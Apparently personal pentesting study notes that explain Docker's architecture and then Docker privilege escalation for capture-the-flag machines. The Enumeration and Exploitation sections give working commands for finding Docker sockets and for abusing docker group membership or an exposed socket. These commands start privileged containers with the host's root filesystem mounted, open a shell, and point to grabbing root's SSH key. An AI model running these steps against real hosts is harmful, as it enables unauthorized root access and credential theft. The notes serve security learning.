Table of Contents


Concept

Summery

Docker is an open-source platform for packaging and running applications inside containers.
A container includes the application and its dependencies, such as libraries and runtime components, providing a consistent environment across systems.

Containers share the host operating system’s kernel - so you cannot freely mix Linux and Windows containers on the same Docker daemon - while keeping applications and their processes isolated. This makes them generally lighter and faster to start than virtual machines, which typically run their own operating system.

Architecture

At it’s core, Docker has three primary components, Docker clients, Docker socket and Docker daemon:

  • Docker clients act as the interfaces for issuing commands and interacting with the Docker ecosystem.
  • Docker socket provides a communication endpoint through which clients send requests to the Docker daemon.
  • Docker daemon is responsible for actually executing those commands and managing containers.

Docker clients

Docker Client

When we interact with Docker, we issue commands through the Docker Client, also known as the Docker CLI, which communicates with the Docker Daemon (through a RESTful API or a Unix socket) and have the ability to create, start, stop, manage, remove containers, search, and download Docker images.
With these options, we can pull existing images to use as a base for our containers or build our custom images using Dockerfiles.

Docker Compose

Another client for Docker is Docker Compose. It is a tool that simplifies the orchestration of multiple Docker containers as a single application. It allows us to define our application’s multi-container architecture using a declarative YAML (.yaml/.yml) file. With it, we can specify the services comprising our application, their dependencies, and their configurations. We define container images, environment variables, networking, volume bindings, and other settings. Docker Compose then ensures that all the defined containers are launched and interconnected, creating a cohesive and scalable application stack.

Docker Desktop

Docker Desktop is available for MacOS, Windows, and Linux operating systems and provides us with a user-friendly GUI that simplifies the management of containers and their components. This allows us to monitor the status of our containers, inspect logs, and manage the resources allocated to Docker. It provides an intuitive and visual way to interact with the Docker ecosystem, making it accessible to developers of all levels of expertise, and additionally, it supports Kubernetes.

Docker socket

Docker socket or Docker daemon socket is a special file - commonly /var/run/docker.sock - that allows us and processes to communicate with the Docker daemon. This communication occurs either through a Unix socket or a network socket, it acts as a bridge, facilitating communication between the Docker client and the Docker daemon. When we issue a command through the Docker CLI, the Docker client sends the command to the Docker socket, and the Docker daemon, in turn, processes the command and carries out the requested actions.

Docker socket require appropriate permissions to ensure secure communication and prevent unauthorized access.

By exposing the Docker socket over a network interface, we can remotely manage Docker hosts, issue commands, and control containers and other resources.

Docker Daemon

The Docker Daemon, also known as the Docker server, is a critical part of the Docker platform that plays a pivotal role in container management and orchestration.
Think of the Docker Daemon as the powerhouse behind Docker. It has several essential responsibilities like:

  • Carries out the actions requested by the user
  • Ensures that containers are created, launched, stopped, and removed as required
Container management

Docker Daemon coordinates the creation, execution, and monitoring of Docker containers, maintaining their isolation from the host and other containers. This isolation ensures that containers operate independently, with their own file systems, processes, and network interfaces.
Furthermore, it handles Docker image management. It pulls images from registries, such as Docker Hub or private repositories, and stores them locally. These images serve as the building blocks for creating containers.

Logging and monitoring

Additionally, Docker Daemon offers monitoring and logging capabilities, for example:

  • Captures container logs
  • Provides insight into container activities, errors, and debugging information.

The Daemon also monitors resource utilization, such as CPU, memory, and network usage

Network and storage

Docker Daemon facilitates container networking by creating virtual networks and managing network interfaces. It enables containers to communicate with each other and the outside world through network ports, IP addresses, and DNS resolution.
It also plays a critical role in storage management, since it handles Docker volumes, which are used to persist data beyond the lifespan of containers and manages volume creation, attachment, and clean-up, allowing containers to share or store data independently of each other.

Images and containers

Docker image is a blueprint or a template for creating containers. It encapsulates everything needed to run an application, including the application’s code, dependencies, libraries, and configurations. An image is a self-contained, read-only package that ensures consistency and reproducibility across different environments. We can create images using a text file called a Dockerfile, which defines the steps and instructions for building the image.

A Docker container is an instance of a Docker image. It is a lightweight, isolated, and executable environment that runs applications. When we launch a container, it is created from a specific image, and the container inherits all the properties and configurations defined in that image. Each container operates independently, with its own filesystem, processes, and network interfaces. This isolation ensures that applications within containers remain separate from the underlying host system and other containers, preventing conflicts and interference.

While images are immutable and read-only, containers are mutable and can be modified during runtime.
We can interact with containers, execute commands within them, monitor their logs, and even make changes to their filesystem or environment. However, any modifications made to a container’s filesystem are not persisted unless explicitly saved as a new image or stored in a persistent volume.

Uploading docker images

To check, if there are any OS images in your container docker images.
If there are no images listed with the first command, you need to upload them from your attack host - to do so:

  1. sudo apt install docker.io - Insatll docker onto kali if you don’t have it
  2. docker pull alpine - Download the image on your attack machine
  3. docker save alpine -o alpine.tar - Export the image to a file
  4. Transfer the file onto the target host
  5. docker load -i /tmp/alpine.tar - Load the image into the target’s docker

Now you can use the image in your exploits.

Privileged containers

Normally, Docker restricts a container’s access to host devices and Linux capabilities.
When creating a comntainer, adding --privileged significantly relaxes those restrictions, granting broad capabilities and relaxes the border between the host and it’s container.

Docker inspection fields

Docker inspection fields are metadata of Docker container’s configuration and runtime settings.
Here are some of the most common fields:
.Config.Env - Environment variables configured for the container
.Config.User - User configured to run the container’s main process
.Config.Cmd - Default command and arguments
.Config.Image - Image used to create the container
.HostConfig.Privileged - Whether privileged mode is enabled
.HostConfig.Binds - Configured bind mounts
.Mounts - Details of mounted filesystems and directories
.NetworkSettings - Network configuration and assigned addresses

You can retrieve all fields of a container in a JSON format using docker inspect alpine. Or you can query for specific ones running:
docker inspect mysql_db | jq '.[0].Config.Env'

Docker also supports Go templates to select specific fields from its inspection data. You then need to embed field names with {{XYZ}}}, here’s an example:
docker -H unix:///app/docker.sock inspect --format '{{.Config.Env}}' mysql_db

Enumeration

Docker Client

which docker or command -v docker - Check whether a Docker client is available in your PATH
find / -type f -name docker -perm /111 2>/dev/null - Search for executable files named docker in the filesystem
Remember: if there is not Docker client, you can always download it - for exmaple from here - and upload it onto the target host. Don’t forget to make it executable too.

Docker Socket

find / -type s -name '*docker*' 2>/dev/null - Search for socket file names containing docker, looking for a Docker socket
find / -name 'docker.sock' 2>/dev/null - Search literally for docker.sock, might miss more custom socket names
ls -lah /var/run/docker.sock /run/docker.sock 2>/dev/null - Check the owner and group of the Docker socket to determine whether your current user can access it
/tmp/docker -H unix:///app/docker.sock ps - Enumerate what docker containers are running on the main host (/tmp/docker - Docker client, /app/docker.sock - Docker socket)

Exploitation

Shared directories

When using Docker, shared directories (volume mounts) can bridge the gap between the host system and the container’s filesystem. With shared directories, specific directories or files on the host system can be made accessible within the container. To create a shared directory, a path on the host system and a corresponding path within the container is specified, creating a direct link between the two locations.

It’s important to note that shared directories can be mounted as read-only or read-write. When mounted as read-only, modifications made within the container won’t affect the host system.

You can usually exploit this in a number of way:

  1. You can belong to the docker group or similar, allowing you to create a container with a host directory mounted inside of it
  2. Access to a Docker socket can also allow you to create containers with a host directory mounted inside of it
  3. Or there can already just be a writable mount exposed on it

Group abuse

Placing a user in the docker group is essentially equivalent to root level access to the file system without requiring a password. Members of the docker group can spawn new docker containers with the /root directory on the host file system mounted as a volume, or any other one that interests you.

Alternatively, Docker may have SUID set, or we are in the Sudoers file, which permits us to run docker as root.

Here are the steps to perform this attack:

  1. docker images - what local images do you have on the host. If you don’t see any images, followe the steps described in “Uploading docker images”
  2. If there is some image, run docker run --privileged -v /root:/mnt -it alpine to mounts the host’s /root to your /mnt directory. It can be any directory, even /.
    You can even try to start an interactive shell in the step two with docker run --rm -it --privileged -v /root:/mnt alpine /bin/sh although im not sure if it would work.

Docker Socket abuse

If you’ll find a docker socket in the container you can check if you have rights to use it - ls -lah /var/run/docker.sock /run/docker.sock 2>/dev/null.
If you can, you can exploit those rights to mount the host’s file system and access it with root privileges.

To exploit that you can:

  1. docker images - Check what local images do you have on the host. If you don’t see any images, followe the steps described in “Uploading docker images”
  2. /tmp/docker -H unix:///app/docker.sock run --rm -d --privileged -v /:/hostsystem alpine - Create a privileged container with the host’s entire filesystem mounted at /hostsystem
  3. /tmp/docker -H unix:///app/docker.sock ps - Enumerate running containers managed by the host
  4. /tmp/docker -H unix:///app/docker.sock exec -it 7ae3bcc818af /bin/bash - Open an interactive Bash shell inside the newly created container to easier access the mounted host filesystem
    (/tmp/docker - Docker client, /app/docker.sock - Docker socket)

From here, you can perform a lot of actions. You can try your luck to grab root’s the private SSH key or add your own ones to some users if you can.

References

Used in: Busqueda, Shoppy
Similar concepts: lxc, lxd, Alpine Linux